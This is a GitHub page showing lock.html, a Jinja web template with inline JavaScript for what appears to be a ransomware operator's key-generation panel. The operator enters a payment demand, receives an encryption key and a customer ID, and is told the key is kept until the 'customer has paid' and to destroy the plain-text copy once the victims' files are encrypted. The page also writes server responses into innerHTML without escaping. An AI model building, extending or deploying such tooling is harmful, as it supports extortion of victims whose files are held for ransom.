-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathlock.html
66 lines (54 loc) · 1.8 KB
/
lock.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
{% extends 'base.html' %}
{% block head_js %}
var getJSON = function(url, callback) {
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.responseType = 'json';
xhr.onload = function() {
var status = xhr.status;
if (status === 200) {
callback(null, xhr.response);
} else {
callback(status, xhr.response);
}
};
xhr.send();
};
var send_request = function() {
var demand = document.getElementById("demand").value;
if (isNaN(parseFloat(demand))) {
document.getElementById("results").innerHTML = `Error: <em>{demand} is not a number</em>.`
}
getJSON(`lock?demand=${demand}`, function(err, data) {
if (err != null) {
console.log(err);
} else {
if ('key' in data) {
result = "<table style='margin-left: auto; margin-right: auto;'>"
result += `<tr><td>Key</td><td><em>${data.key}</em></td></tr>`;
result += `<tr><td>Customer ID</td><td>${data.cid}</td></tr>`;
result += "</table>";
result += "<p><em>Remember to destroy the plain-text key when your customers' files are encrypted!</em></p>";
document.getElementById("results").innerHTML = result;
} else {
document.getElementById("results").innerHTML = `Error: <em>${data.error}</em>`;
}
}
});
};
{% endblock %}
{%block content %}
<h3 style="text-align:center"> Generate Key </h3>
<div style="text-align:center">
<p>Use this form to generate a new encryption key.</p>
<p>The key will be stored in our secure storage system until the customer has paid. </p>
</div>
<div style="text-align: center">
<form>
<label for="demand">Payment Demanded: </label><input type="text" id="demand" name="demand">
<button type="button" id="submit" onclick="send_request()">Submit request...</button>
</form>
</div>
<div style="text-align: center; align-content: center;" id="results">
</div>
{% endblock %}